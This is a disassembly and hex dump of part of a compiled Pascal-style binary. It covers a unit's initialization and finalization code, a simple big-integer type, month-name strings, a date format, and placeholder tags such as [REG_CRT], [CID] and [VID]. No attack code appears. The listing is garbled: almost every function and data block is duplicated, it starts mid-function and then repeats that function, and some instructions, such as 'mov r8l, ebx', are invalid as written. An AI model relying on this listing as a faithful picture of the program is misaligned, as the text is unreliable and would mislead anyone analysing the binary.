0043b24dlea rdx, [rip+1132]
0043b254call fn_40c360
0043b259mov rax, [rip+0x28f28]
0043b260lea rcx, [rax+224]
0043b267lea rdx, [rip+1134]
0043b26ecall fn_40c360
0043b273mov rax, [rip+0x28f0e]
0043b27alea rcx, [rax+232]
0043b281lea rdx, [rip+1140]
0043b288call fn_40c360
0043b28dmov rax, [rip+0x28ef4]
0043b294lea rcx, [rax+240]
0043b29blea rdx, [rip+1142]
0043b2a2call fn_40c360
0043b2a7mov rax, [rip+0x28eda]
0043b2aelea rcx, [rax+248]
0043b2b5lea rdx, [rip+1148]
0043b2bccall fn_40c360
0043b2c1mov rax, [rip+0x28ec0]
0043b2c8mov [rax+12], 58
0043b2cemov rax, [rip+0x28eb3]
0043b2d5mov [rax+10], 32
0043b2dblea rcx, [rbp+72]
0043b2dflea rdx, [rip+1138]
0043b2e6mov rax, [rip+0x28cd3]
0043b2edmovsd_xmm x2, [rax+744]
0043b2f5mov r9, [rip+0x28e8c]
0043b2fccall fn_427060
0043b301lea rcx, [rbp+120]
0043b305mov rdx, [rbp+72]
0043b309call fn_40d850
0043b30elea rcx, [rip+1139]
0043b315mov rdx, [rbp+120]
0043b319mov r8l, 1
0043b31fcall fn_40de90
0043b324test eax, eax
0043b326jne 0x43b338
0043b328lea rcx, [rbp+120]
0043b32clea rdx, [rip+1117]
0043b333call fn_40d1a0
0043b338
0043b338loc_43b338:
0043b338mov rax, [rip+0x28c81]
0043b33fmovsd_xmm x0, [rax+744]
0043b347mov rax, [rip+0x28c72]
0043b34emovzx edx, [rax+88]
0043b352call fn_4383c0
0043b357lea rcx, [rbp+64]
0043b35blea rdx, [rip+1014]
0043b362movapd x2, x0
0043b366mov r9, [rip+0x28e1b]
0043b36dcall fn_427060
0043b372lea rcx, [rbp+112]
0043b376mov rdx, [rbp+64]
0043b37acall fn_40d850
0043b37flea rcx, [rip+1026]
0043b386mov rdx, [rbp+112]
0043b38amov r8l, 1
0043b390call fn_40de90
0043b395test eax, eax
0043b397jne 0x43b3a9
0043b399lea rcx, [rbp+112]
0043b39dlea rdx, [rip+1004]
0043b3a4call fn_40d1a0
0043b3a9
0043b3a9loc_43b3a9:
0043b3a9mov rax, [rip+0x28c10]
0043b3b0movsd_xmm x0, [rax+744]
0043b3b8mov rax, [rip+0x28c01]
0043b3bfmovzx edx, [rax+90]
0043b3c3call fn_4383c0
0043b3c8lea rcx, [rbp+56]
0043b3cclea rdx, [rip+901]
0043b3d3movapd x2, x0
0043b3d7mov r9, [rip+0x28daa]
0043b3decall fn_427060
0043b3e3lea rcx, [rbp+104]
0043b3e7mov rdx, [rbp+56]
0043b3ebcall fn_40d850
0043b3f0lea rcx, [rip+913]
0043b3f7mov rdx, [rbp+104]
0043b3fbmov r8l, 1
0043b401call fn_40de90
0043b406test eax, eax
0043b408jne 0x43b41a
0043b40alea rcx, [rbp+104]
0043b40elea rdx, [rip+891]
0043b415call fn_40d1a0
0043b41a
0043b41aloc_43b41a:
0043b41alea rcx, [rbp+48]
0043b41emov rdx, [rbp+120]
0043b422xor r8, r8
0043b425call fn_40c8e0
0043b42amov rcx, [rbp+48]
0043b42elea rdx, [rbp+96]
0043b432call fn_430db0
0043b437lea rcx, [rbp+40]
0043b43bmov rdx, [rbp+112]
0043b43fxor r8, r8
0043b442call fn_40c8e0
0043b447mov rcx, [rbp+40]
0043b44blea rdx, [rbp+88]
0043b44fcall fn_430db0
0043b454lea rcx, [rbp+32]
0043b458mov rdx, [rbp+104]
0043b45cxor r8, r8
0043b45fcall fn_40c8e0
0043b464mov rcx, [rbp+32]
0043b468lea rdx, [rbp+80]
0043b46ccall fn_430db0
0043b471mov rax, [rip+0x28b48]
0043b478lea rcx, [rax+152]
0043b47flea rdx, [rip+810]
0043b486mov rax, [rip+0x28b33]
0043b48dmov r8, [rax+80]
0043b491call fn_42ff20
0043b496mov rax, [rip+0x28b23]
0043b49dlea rcx, [rax+152]
0043b4a4lea rdx, [rip+797]
0043b4abmov r8, [rbp+96]
0043b4afcall fn_42ff20
0043b4b4mov rax, [rip+0x28b05]
0043b4bblea rcx, [rax+152]
0043b4c2lea rdx, [rip+795]
0043b4c9mov r8, [rbp+88]
0043b4cdcall fn_42ff20
0043b4d2mov rax, [rip+0x28ae7]
0043b4d9lea rcx, [rax+152]
0043b4e0lea rdx, [rip+793]
0043b4e7mov r8, [rbp+80]
0043b4ebcall fn_42ff20
0043b4f0mov rax, [rip+0x28ac9]
0043b4f7lea rcx, [rax+152]
0043b4felea rdx, [rip+787]
0043b505mov rax, [rip+0x28ab4]
0043b50cmov r8, [rax+736]
0043b513call fn_42ff20
0043b518mov rax, [rip+0x28aa1]
0043b51flea rcx, [rax+152]
0043b526lea rdx, [rip+771]
0043b52dmov rax, [rip+0x28a8c]
0043b534mov r8, [rax+128]
0043b53bcall fn_42ff20
0043b540mov rax, [rip+0x28a79]
0043b547lea rcx, [rax+152]
0043b54elea rdx, [rip+751]
0043b555mov rax, [rip+0x28a64]
0043b55cmov r8, [rax+40]
0043b560call fn_42ff20
0043b565nop
0043b566lea rcx, [rbp+32]
0043b56amov edx, 3
0043b56fcall fn_40be20
0043b574lea rcx, [rbp+56]
0043b578mov edx, 3
0043b57dcall fn_40bdd0
0043b582lea rcx, [rbp+80]
0043b586mov rdx, [rip-51053]
0043b58dmov r8l, 3
0043b593call fn_40ec40
0043b598lea rcx, [rbp+104]
0043b59cmov edx, 3
0043b5a1call fn_40be70
0043b5a6lea rsp, [rbp+128]
0043b5adpop rbp
0043b5aeret
0043b120
0043b120fn_43b120:
0043b120push rbp
0043b121add rsp, -128
0043b125mov rbp, rsp
0043b128mov [rbp+32], 0
0043b130mov [rbp+40], 0
0043b138mov [rbp+48], 0
0043b140mov [rbp+56], 0
0043b148mov [rbp+64], 0
0043b150mov [rbp+72], 0
0043b158mov [rbp+120], 0
0043b160mov [rbp+112], 0
0043b168mov [rbp+104], 0
0043b170mov [rbp+96], 0
0043b178mov [rbp+88], 0
0043b180mov [rbp+80], 0
0043b188nop
0043b189mov rax, [rip+0x28ff8]
0043b190lea rcx, [rax+160]
0043b197lea rdx, [rip+1138]
0043b19ecall fn_40c360
0043b1a3mov rax, [rip+0x28fde]
0043b1aalea rcx, [rax+168]
0043b1b1lea rdx, [rip+1140]
0043b1b8call fn_40c360
0043b1bdmov rax, [rip+0x28fc4]
0043b1c4lea rcx, [rax+176]
0043b1cblea rdx, [rip+1146]
0043b1d2call fn_40c360
0043b1d7mov rax, [rip+0x28faa]
0043b1delea rcx, [rax+184]
0043b1e5lea rdx, [rip+1144]
0043b1eccall fn_40c360
0043b1f1mov rax, [rip+0x28f90]
0043b1f8lea rcx, [rax+192]
0043b1fflea rdx, [rip+1142]
0043b206call fn_40c360
0043b20bmov rax, [rip+0x28f76]
0043b212lea rcx, [rax+200]
0043b219lea rdx, [rip+1136]
0043b220call fn_40c360
0043b225mov rax, [rip+0x28f5c]
0043b22clea rcx, [rax+208]
0043b233lea rdx, [rip+1134]
0043b23acall fn_40c360
0043b23fmov rax, [rip+0x28f42]
0043b246lea rcx, [rax+216]
0043b24dlea rdx, [rip+1132]
0043b254call fn_40c360
0043b259mov rax, [rip+0x28f28]
0043b260lea rcx, [rax+224]
0043b267lea rdx, [rip+1134]
0043b26ecall fn_40c360
0043b273mov rax, [rip+0x28f0e]
0043b27alea rcx, [rax+232]
0043b281lea rdx, [rip+1140]
0043b288call fn_40c360
0043b28dmov rax, [rip+0x28ef4]
0043b294lea rcx, [rax+240]
0043b29blea rdx, [rip+1142]
0043b2a2call fn_40c360
0043b2a7mov rax, [rip+0x28eda]
0043b2aelea rcx, [rax+248]
0043b2b5lea rdx, [rip+1148]
0043b2bccall fn_40c360
0043b2c1mov rax, [rip+0x28ec0]
0043b2c8mov [rax+12], 58
0043b2cemov rax, [rip+0x28eb3]
0043b2d5mov [rax+10], 32
0043b2dblea rcx, [rbp+72]
0043b2dflea rdx, [rip+1138]
0043b2e6mov rax, [rip+0x28cd3]
0043b2edmovsd_xmm x2, [rax+744]
0043b2f5mov r9, [rip+0x28e8c]
0043b2fccall fn_427060
0043b301lea rcx, [rbp+120]
0043b305mov rdx, [rbp+72]
0043b309call fn_40d850
0043b30elea rcx, [rip+1139]
0043b315mov rdx, [rbp+120]
0043b319mov r8l, 1
0043b31fcall fn_40de90
0043b324test eax, eax
0043b326jne 0x43b338
0043b328lea rcx, [rbp+120]
0043b32clea rdx, [rip+1117]
0043b333call fn_40d1a0
0043b338
0043b338loc_43b338:
0043b338mov rax, [rip+0x28c81]
0043b33fmovsd_xmm x0, [rax+744]
0043b347mov rax, [rip+0x28c72]
0043b34emovzx edx, [rax+88]
0043b352call fn_4383c0
0043b357lea rcx, [rbp+64]
0043b35blea rdx, [rip+1014]
0043b362movapd x2, x0
0043b366mov r9, [rip+0x28e1b]
0043b36dcall fn_427060
0043b372lea rcx, [rbp+112]
0043b376mov rdx, [rbp+64]
0043b37acall fn_40d850
0043b37flea rcx, [rip+1026]
0043b386mov rdx, [rbp+112]
0043b38amov r8l, 1
0043b390call fn_40de90
0043b395test eax, eax
0043b397jne 0x43b3a9
0043b399lea rcx, [rbp+112]
0043b39dlea rdx, [rip+1004]
0043b3a4call fn_40d1a0
0043b3a9
0043b3a9loc_43b3a9:
0043b3a9mov rax, [rip+0x28c10]
0043b3b0movsd_xmm x0, [rax+744]
0043b3b8mov rax, [rip+0x28c01]
0043b3bfmovzx edx, [rax+90]
0043b3c3call fn_4383c0
0043b3c8lea rcx, [rbp+56]
0043b3cclea rdx, [rip+901]
0043b3d3movapd x2, x0
0043b3d7mov r9, [rip+0x28daa]
0043b3decall fn_427060
0043b3e3lea rcx, [rbp+104]
0043b3e7mov rdx, [rbp+56]
0043b3ebcall fn_40d850
0043b3f0lea rcx, [rip+913]
0043b3f7mov rdx, [rbp+104]
0043b3fbmov r8l, 1
0043b401call fn_40de90
0043b406test eax, eax
0043b408jne 0x43b41a
0043b40alea rcx, [rbp+104]
0043b40elea rdx, [rip+891]
0043b415call fn_40d1a0
0043b41a
0043b41aloc_43b41a:
0043b41alea rcx, [rbp+48]
0043b41emov rdx, [rbp+120]
0043b422xor r8, r8
0043b425call fn_40c8e0
0043b42amov rcx, [rbp+48]
0043b42elea rdx, [rbp+96]
0043b432call fn_430db0
0043b437lea rcx, [rbp+40]
0043b43bmov rdx, [rbp+112]
0043b43fxor r8, r8
0043b442call fn_40c8e0
0043b447mov rcx, [rbp+40]
0043b44blea rdx, [rbp+88]
0043b44fcall fn_430db0
0043b454lea rcx, [rbp+32]
0043b458mov rdx, [rbp+104]
0043b45cxor r8, r8
0043b45fcall fn_40c8e0
0043b464mov rcx, [rbp+32]
0043b468lea rdx, [rbp+80]
0043b46ccall fn_430db0
0043b471mov rax, [rip+0x28b48]
0043b478lea rcx, [rax+152]
0043b47flea rdx, [rip+810]
0043b486mov rax, [rip+0x28b33]
0043b48dmov r8, [rax+80]
0043b491call fn_42ff20
0043b496mov rax, [rip+0x28b23]
0043b49dlea rcx, [rax+152]
0043b4a4lea rdx, [rip+797]
0043b4abmov r8, [rbp+96]
0043b4afcall fn_42ff20
0043b4b4mov rax, [rip+0x28b05]
0043b4bblea rcx, [rax+152]
0043b4c2lea rdx, [rip+795]
0043b4c9mov r8, [rbp+88]
0043b4cdcall fn_42ff20
0043b4d2mov rax, [rip+0x28ae7]
0043b4d9lea rcx, [rax+152]
0043b4e0lea rdx, [rip+793]
0043b4e7mov r8, [rbp+80]
0043b4ebcall fn_42ff20
0043b4f0mov rax, [rip+0x28ac9]
0043b4f7lea rcx, [rax+152]
0043b4felea rdx, [rip+787]
0043b505mov rax, [rip+0x28ab4]
0043b50cmov r8, [rax+736]
0043b513call fn_42ff20
0043b518mov rax, [rip+0x28aa1]
0043b51flea rcx, [rax+152]
0043b526lea rdx, [rip+771]
0043b52dmov rax, [rip+0x28a8c]
0043b534mov r8, [rax+128]
0043b53bcall fn_42ff20
0043b540mov rax, [rip+0x28a79]
0043b547lea rcx, [rax+152]
0043b54elea rdx, [rip+751]
0043b555mov rax, [rip+0x28a64]
0043b55cmov r8, [rax+40]
0043b560call fn_42ff20
0043b565nop
0043b566lea rcx, [rbp+32]
0043b56amov edx, 3
0043b56fcall fn_40be20
0043b574lea rcx, [rbp+56]
0043b578mov edx, 3
0043b57dcall fn_40bdd0
0043b582lea rcx, [rbp+80]
0043b586mov rdx, [rip-51053]
0043b58dmov r8l, 3
0043b593call fn_40ec40
0043b598lea rcx, [rbp+104]
0043b59cmov edx, 3
0043b5a1call fn_40be70
0043b5a6lea rsp, [rbp+128]
0043b5adpop rbp
0043b5aeret
0043b120
0043b5af
0043b5af // align 0x10
0043b5af // align 0x10
0043b5b0
0043b5b0fn_43b5b0:
0043b5b0push rbp
0043b5b1push rbx
0043b5b2sub rsp, 40
0043b5b6mov rbp, rsp
0043b5b9mov rbx, rdx
0043b5bclea rcx, [rbx+32]
0043b5c0mov edx, 3
0043b5c5call fn_40be20
0043b5calea rcx, [rbx+56]
0043b5cemov edx, 3
0043b5d3call fn_40bdd0
0043b5d8lea rcx, [rbx+80]
0043b5dcmov rdx, [rip-51139]
0043b5e3mov r8l, 3
0043b5e9call fn_40ec40
0043b5eelea rcx, [rbx+104]
0043b5f2mov edx, 3
0043b5f7call fn_40be70
0043b5fclea rsp, [rbp+40]
0043b600pop rbx
0043b601pop rbp
0043b602ret
0043b5b0
0043b5b0fn_43b5b0:
0043b5b0push rbp
0043b5b1push rbx
0043b5b2sub rsp, 40
0043b5b6mov rbp, rsp
0043b5b9mov rbx, rdx
0043b5bclea rcx, [rbx+32]
0043b5c0mov edx, 3
0043b5c5call fn_40be20
0043b5calea rcx, [rbx+56]
0043b5cemov edx, 3
0043b5d3call fn_40bdd0
0043b5d8lea rcx, [rbx+80]
0043b5dcmov rdx, [rip-51139]
0043b5e3mov r8l, 3
0043b5e9call fn_40ec40
0043b5eelea rcx, [rbx+104]
0043b5f2mov edx, 3
0043b5f7call fn_40be70
0043b5fclea rsp, [rbp+40]
0043b600pop rbx
0043b601pop rbp
0043b602ret
0043b5b0
0043b603
0043b603 00 b0 04 02 00 ff ff ff ff 07 00 00 00 .............
0043b610 4a 00 61 00 6e 00 75 00 61 00 72 00 79 00 00 00 J.a.n.u.a.r.y...
0043b620 b0 04 02 00 ff ff ff ff 08 00 00 00 46 00 65 00 ............F.e.
0043b630 62 00 72 00 75 00 61 00 72 00 79 00 00 00 00 00 b.r.u.a.r.y.....
0043b640 b0 04 02 00 ff ff ff ff 05 00 00 00 4d 00 61 00 ............M.a.
0043b650 72 00 63 00 68 00 00 00 b0 04 02 00 ff ff ff ff r.c.h...........
0043b660 05 00 00 00 41 00 70 00 72 00 69 00 6c 00 00 00 ....A.p.r.i.l...
0043b670 b0 04 02 00 ff ff ff ff 03 00 00 00 4d 00 61 00 ............M.a.
0043b680 79 00 00 00 b0 04 02 00 ff ff ff ff 04 00 00 00 y...............
0043b690 4a 00 75 00 6e 00 65 00 00 00 00 00 b0 04 02 00 J.u.n.e.........
0043b6a0 ff ff ff ff 04 00 00 00 4a 00 75 00 6c 00 79 00 ........J.u.l.y.
0043b6b0 00 00 00 00 b0 04 02 00 ff ff ff ff 06 00 00 00 ................
0043b6c0 41 00 75 00 67 00 75 00 73 00 74 00 00 00 00 00 A.u.g.u.s.t.....
0043b6d0 b0 04 02 00 ff ff ff ff 09 00 00 00 53 00 65 00 ............S.e.
0043b6e0 70 00 74 00 65 00 6d 00 62 00 65 00 72 00 00 00 p.t.e.m.b.e.r...
0043b6f0 b0 04 02 00 ff ff ff ff 07 00 00 00 4f 00 63 00 ............O.c.
0043b700 74 00 6f 00 62 00 65 00 72 00 00 00 b0 04 02 00 t.o.b.e.r.......
0043b710 ff ff ff ff 08 00 00 00 4e 00 6f 00 76 00 65 00 ........N.o.v.e.
0043b720 6d 00 62 00 65 00 72 00 00 00 00 00 b0 04 02 00 m.b.e.r.........
0043b730 ff ff ff ff 08 00 00 00 44 00 65 00 63 00 65 00 ........D.e.c.e.
0043b740 6d 00 62 00 65 00 72 00 00 00 00 00 b0 04 02 00 m.b.e.r.........
0043b750 ff ff ff ff 14 00 00 00 6d 00 6d 00 6d 00 6d 00 ........m.m.m.m.
0043b760 20 00 64 00 20 00 79 00 79 00 79 00 79 00 20 00 .d. .y.y.y.y. .
0043b770 68 00 68 00 3a 00 6e 00 6e 00 3a 00 73 00 73 00 h.h.:.n.n.:.s.s.
0043b780 00 00 00 00 02 00 00 00 3a 00 00 00 12 00 00 00 ........:.......
0043b790 20 00 30 00 30 00 3a 00 30 00 30 00 3a 00 30 00 .0.0.:.0.0.:.0.
0043b7a0 30 00 00 00 e3 04 01 00 ff ff ff ff 09 00 00 00 0...............
0043b7b0 5b 53 55 50 50 4f 52 54 5d 00 00 00 e3 04 01 00 [SUPPORT].......
0043b7c0 ff ff ff ff 0c 00 00 00 5b 53 54 41 52 54 5f 54 ........[START_T
0043b7d0 49 4d 45 5d 00 00 00 00 e3 04 01 00 ff ff ff ff IME]............
0043b7e0 0d 00 00 00 5b 44 4f 55 42 4c 45 5f 54 49 4d 45 ....[DOUBLE_TIME
0043b7f0 5d 00 00 00 e3 04 01 00 ff ff ff ff 0a 00 00 00 ]...............
0043b800 5b 45 4e 44 5f 54 49 4d 45 5d 00 00 e3 04 01 00 [END_TIME]......
0043b810 ff ff ff ff 09 00 00 00 5b 52 45 47 5f 43 52 54 ........[REG_CRT
0043b820 5d 00 00 00 e3 04 01 00 ff ff ff ff 05 00 00 00 ]...............
0043b830 5b 43 49 44 5d 00 00 00 e3 04 01 00 ff ff ff ff [CID]...........
0043b840 05 00 00 00 5b 56 49 44 5d 00 cc cc cc cc cc cc ....[VID].......
0043b603 00 b0 04 02 00 ff ff ff ff 07 00 00 00 .............
0043b610 4a 00 61 00 6e 00 75 00 61 00 72 00 79 00 00 00 J.a.n.u.a.r.y...
0043b620 b0 04 02 00 ff ff ff ff 08 00 00 00 46 00 65 00 ............F.e.
0043b630 62 00 72 00 75 00 61 00 72 00 79 00 00 00 00 00 b.r.u.a.r.y.....
0043b640 b0 04 02 00 ff ff ff ff 05 00 00 00 4d 00 61 00 ............M.a.
0043b650 72 00 63 00 68 00 00 00 b0 04 02 00 ff ff ff ff r.c.h...........
0043b660 05 00 00 00 41 00 70 00 72 00 69 00 6c 00 00 00 ....A.p.r.i.l...
0043b670 b0 04 02 00 ff ff ff ff 03 00 00 00 4d 00 61 00 ............M.a.
0043b680 79 00 00 00 b0 04 02 00 ff ff ff ff 04 00 00 00 y...............
0043b690 4a 00 75 00 6e 00 65 00 00 00 00 00 b0 04 02 00 J.u.n.e.........
0043b6a0 ff ff ff ff 04 00 00 00 4a 00 75 00 6c 00 79 00 ........J.u.l.y.
0043b6b0 00 00 00 00 b0 04 02 00 ff ff ff ff 06 00 00 00 ................
0043b6c0 41 00 75 00 67 00 75 00 73 00 74 00 00 00 00 00 A.u.g.u.s.t.....
0043b6d0 b0 04 02 00 ff ff ff ff 09 00 00 00 53 00 65 00 ............S.e.
0043b6e0 70 00 74 00 65 00 6d 00 62 00 65 00 72 00 00 00 p.t.e.m.b.e.r...
0043b6f0 b0 04 02 00 ff ff ff ff 07 00 00 00 4f 00 63 00 ............O.c.
0043b700 74 00 6f 00 62 00 65 00 72 00 00 00 b0 04 02 00 t.o.b.e.r.......
0043b710 ff ff ff ff 08 00 00 00 4e 00 6f 00 76 00 65 00 ........N.o.v.e.
0043b720 6d 00 62 00 65 00 72 00 00 00 00 00 b0 04 02 00 m.b.e.r.........
0043b730 ff ff ff ff 08 00 00 00 44 00 65 00 63 00 65 00 ........D.e.c.e.
0043b740 6d 00 62 00 65 00 72 00 00 00 00 00 b0 04 02 00 m.b.e.r.........
0043b750 ff ff ff ff 14 00 00 00 6d 00 6d 00 6d 00 6d 00 ........m.m.m.m.
0043b760 20 00 64 00 20 00 79 00 79 00 79 00 79 00 20 00 .d. .y.y.y.y. .
0043b770 68 00 68 00 3a 00 6e 00 6e 00 3a 00 73 00 73 00 h.h.:.n.n.:.s.s.
0043b780 00 00 00 00 02 00 00 00 3a 00 00 00 12 00 00 00 ........:.......
0043b790 20 00 30 00 30 00 3a 00 30 00 30 00 3a 00 30 00 .0.0.:.0.0.:.0.
0043b7a0 30 00 00 00 e3 04 01 00 ff ff ff ff 09 00 00 00 0...............
0043b7b0 5b 53 55 50 50 4f 52 54 5d 00 00 00 e3 04 01 00 [SUPPORT].......
0043b7c0 ff ff ff ff 0c 00 00 00 5b 53 54 41 52 54 5f 54 ........[START_T
0043b7d0 49 4d 45 5d 00 00 00 00 e3 04 01 00 ff ff ff ff IME]............
0043b7e0 0d 00 00 00 5b 44 4f 55 42 4c 45 5f 54 49 4d 45 ....[DOUBLE_TIME
0043b7f0 5d 00 00 00 e3 04 01 00 ff ff ff ff 0a 00 00 00 ]...............
0043b800 5b 45 4e 44 5f 54 49 4d 45 5d 00 00 e3 04 01 00 [END_TIME]......
0043b810 ff ff ff ff 09 00 00 00 5b 52 45 47 5f 43 52 54 ........[REG_CRT
0043b820 5d 00 00 00 e3 04 01 00 ff ff ff ff 05 00 00 00 ]...............
0043b830 5b 43 49 44 5d 00 00 00 e3 04 01 00 ff ff ff ff [CID]...........
0043b840 05 00 00 00 5b 56 49 44 5d 00 cc cc cc cc cc cc ....[VID].......
0043b850
0043b850Unit41.finalization:
0043b850add [rip+0x34ee5], 1
0043b857cmp [rip+0x34ede], 0
0043b85eret
0043b850
0043b850Unit41.finalization:
0043b850add [rip+0x34ee5], 1
0043b857cmp [rip+0x34ede], 0
0043b85eret
0043b850
0043b85f
0043b85f // align 0x10
0043b85f // align 0x10
0043b860
0043b860Unit41.initialization:
0043b860sub [rip+0x34ed5], 1
0043b867cmp [rip+0x34ece], -1
0043b86eret
0043b860
0043b860Unit41.initialization:
0043b860sub [rip+0x34ed5], 1
0043b867cmp [rip+0x34ece], -1
0043b86eret
0043b860
0043b86f
0043b86f // align 0x10
0043b870
0043b870 78 b8 43 00 00 00 00 00 03 05 54 53 69 67 6e 01 x.C.......TSign.
0043b880 00 00 00 00 01 00 00 00 70 b8 43 00 00 00 00 00 ........p.C.....
0043b890 08 6e 65 67 61 74 69 76 65 08 70 6f 73 69 74 69 .negative.positi
0043b8a0 76 65 0c 53 69 6d 70 6c 65 42 69 67 49 6e 74 02 ve.SimpleBigInt.
0043b8b0 00 00 00 00 00 00 00 00 c0 b8 43 00 00 00 00 00 ..........C.....
0043b8c0 11 11 3a 54 53 69 6d 70 6c 65 42 69 67 49 6e 74 ..:TSimpleBigInt
0043b8d0 2e 3a 31 04 00 00 00 00 00 00 00 00 00 00 00 03 .:1.............
0043b8e0 00 00 00 d8 10 40 00 00 00 00 00 0c 53 69 6d 70 .....@......Simp
0043b8f0 6c 65 42 69 67 49 6e 74 d8 10 40 00 00 00 00 00 leBigInt..@.....
0043b900 02 00 00 00 00 00 00 00 10 b9 43 00 00 00 00 00 ..........C.....
0043b910 0e 0d 54 53 69 6d 70 6c 65 42 69 67 49 6e 74 10 ..TSimpleBigInt.
0043b920 00 00 00 01 00 00 00 b8 b8 43 00 00 00 00 00 08 .........C......
0043b930 00 00 00 00 00 00 00 00 02 00 00 00 70 b8 43 00 ............p.C.
0043b940 00 00 00 00 00 00 00 00 00 00 00 00 02 04 53 69 ..............Si
0043b950 67 6e 02 00 b8 b8 43 00 00 00 00 00 08 00 00 00 gn....C.........
0043b960 00 00 00 00 02 06 4e 75 6d 62 65 72 02 00 02 00 ......Number....
0043b970 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc ................
0043b86f // align 0x10
0043b870
0043b870 78 b8 43 00 00 00 00 00 03 05 54 53 69 67 6e 01 x.C.......TSign.
0043b880 00 00 00 00 01 00 00 00 70 b8 43 00 00 00 00 00 ........p.C.....
0043b890 08 6e 65 67 61 74 69 76 65 08 70 6f 73 69 74 69 .negative.positi
0043b8a0 76 65 0c 53 69 6d 70 6c 65 42 69 67 49 6e 74 02 ve.SimpleBigInt.
0043b8b0 00 00 00 00 00 00 00 00 c0 b8 43 00 00 00 00 00 ..........C.....
0043b8c0 11 11 3a 54 53 69 6d 70 6c 65 42 69 67 49 6e 74 ..:TSimpleBigInt
0043b8d0 2e 3a 31 04 00 00 00 00 00 00 00 00 00 00 00 03 .:1.............
0043b8e0 00 00 00 d8 10 40 00 00 00 00 00 0c 53 69 6d 70 .....@......Simp
0043b8f0 6c 65 42 69 67 49 6e 74 d8 10 40 00 00 00 00 00 leBigInt..@.....
0043b900 02 00 00 00 00 00 00 00 10 b9 43 00 00 00 00 00 ..........C.....
0043b910 0e 0d 54 53 69 6d 70 6c 65 42 69 67 49 6e 74 10 ..TSimpleBigInt.
0043b920 00 00 00 01 00 00 00 b8 b8 43 00 00 00 00 00 08 .........C......
0043b930 00 00 00 00 00 00 00 00 02 00 00 00 70 b8 43 00 ............p.C.
0043b940 00 00 00 00 00 00 00 00 00 00 00 00 02 04 53 69 ..............Si
0043b950 67 6e 02 00 b8 b8 43 00 00 00 00 00 08 00 00 00 gn....C.........
0043b960 00 00 00 00 02 06 4e 75 6d 62 65 72 02 00 02 00 ......Number....
0043b970 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc ................
0043b980
0043b980fn_43b980:
0043b980push rbp
0043b981push rsi
0043b982push rbx
0043b983sub rsp, 64
0043b987mov rbp, rsp
0043b98amov [rbp+40], rcx
0043b98emov [rbp+48], rdx
0043b992mov [rbp+56], 0
0043b99anop
0043b99bxor esi, esi
0043b99emov ebx, 1
0043b9a3
0043b9a3loc_43b9a3:
0043b9a3lea rcx, [rbp+56]
0043b9a7mov rdx, [rbp+48]
0043b9abmov r8l, ebx
0043b9aemov r9l, 1
0043b9b4call fn_40ce30
0043b9b9mov rcx, [rbp+56]
0043b9bdlea rdx, [rip+96]
0043b9c4call fn_40cdc0
0043b9c9test eax, eax
0043b9cbjne 0x43b9de
0043b9cdmov eax, 1
0043b9d2mov ecx, 8
0043b9d7sub ecx, ebx
0043b9d9shl eax, cl
0043b9dbor sil, al
0043b9de
0043b9deloc_43b9de:
0043b9deadd ebx, 1
0043b9e1cmp ebx, 9
0043b9e4jne 0x43b9a3
0043b9e6nop
0043b9e7mov rax, [rbp+40]
0043b9ebmov [rax], sil
0043b9eenop
0043b9eflea rcx, [rbp+56]
0043b9f3call fn_40bd40
0043b9f8lea rsp, [rbp+64]
0043b9fcpop rbx
0043b9fdpop rsi
0043b9fepop rbp
0043b9ffret
0043b980
0043b980fn_43b980:
0043b980push rbp
0043b981push rsi
0043b982push rbx
0043b983sub rsp, 64
0043b987mov rbp, rsp
0043b98amov [rbp+40], rcx
0043b98emov [rbp+48], rdx
0043b992mov [rbp+56], 0
0043b99anop
0043b99bxor esi, esi
0043b99emov ebx, 1
0043b9a3
0043b9a3loc_43b9a3:
0043b9a3lea rcx, [rbp+56]
0043b9a7mov rdx, [rbp+48]
0043b9abmov r8l, ebx
0043b9aemov r9l, 1
0043b9b4call fn_40ce30
0043b9b9mov rcx, [rbp+56]
0043b9bdlea rdx, [rip+96]
0043b9c4call fn_40cdc0
0043b9c9test eax, eax
0043b9cbjne 0x43b9de
0043b9cdmov eax, 1
0043b9d2mov ecx, 8
0043b9d7sub ecx, ebx
0043b9d9shl eax, cl
0043b9dbor sil, al
0043b9de
0043b9deloc_43b9de:
0043b9deadd ebx, 1
0043b9e1cmp ebx, 9
0043b9e4jne 0x43b9a3
0043b9e6nop
0043b9e7mov rax, [rbp+40]
0043b9ebmov [rax], sil
0043b9eenop
0043b9eflea rcx, [rbp+56]
0043b9f3call fn_40bd40
0043b9f8lea rsp, [rbp+64]
0043b9fcpop rbx
0043b9fdpop rsi
0043b9fepop rbp
0043b9ffret
0043b980
0043ba00
0043ba00fn_43ba00:
0043ba00push rbp
0043ba01sub rsp, 32
0043ba05mov rbp, rsp
0043ba08lea rcx, [rdx+56]
0043ba0ccall fn_40bd40
0043ba11lea rsp, [rbp+32]
0043ba15pop rbp
0043ba16ret
0043ba00
0043ba00fn_43ba00:
0043ba00push rbp
0043ba01sub rsp, 32
0043ba05mov rbp, rsp
0043ba08lea rcx, [rdx+56]
0043ba0ccall fn_40bd40
0043ba11lea rsp, [rbp+32]
0043ba15pop rbp
0043ba16ret
0043ba00
0043ba17
0043ba17 00 e3 04 01 00 ff ff ff ff .........
0043ba20 01 00 00 00 31 00 cc cc cc cc cc cc cc cc cc cc ....1...........
0043ba17 00 e3 04 01 00 ff ff ff ff .........
0043ba20 01 00 00 00 31 00 cc cc cc cc cc cc cc cc cc cc ....1...........
0043ba30
0043ba30fn_43ba30:
0043ba30push rbp
0043ba31push r14
0043ba33push r13
0043ba35push rdi
0043ba36push rsi
0043ba37push rbx
0043ba38sub rsp, 168
0043ba3fmov rbp, rsp
0043ba42mov [rbp+40], rcx
0043ba46mov [rbp+152], 0
0043ba51nop
0043ba52xor eax, eax
0043ba54mov [rbp+52], eax
0043ba57
0043ba57loc_43ba57:
0043ba57xor eax, eax
0043ba59mov [rbp+56], eax
0043ba5c
0043ba5cloc_43ba5c:
0043ba5cxor eax, eax
0043ba5emov [rbp+60], eax
0043ba61
0043ba61loc_43ba61:
0043ba61xor ebx, ebx
0043ba63
0043ba63loc_43ba63:
0043ba63xor esi, esi
0043ba65
0043ba65loc_43ba65:
0043ba65xor edi, edi
0043ba67
0043ba67loc_43ba67:
0043ba67xor r13, r13
0043ba6a
0043ba6aloc_43ba6a:
0043ba6axor r14, r14
0043ba6d
0043ba6dloc_43ba6d:
0043ba6dmov [rbp+136], 1
0043ba74mov eax, [rbp+52]
0043ba77add al, 48
0043ba7amov [rbp+137], al
0043ba80lea rcx, [rbp+128]
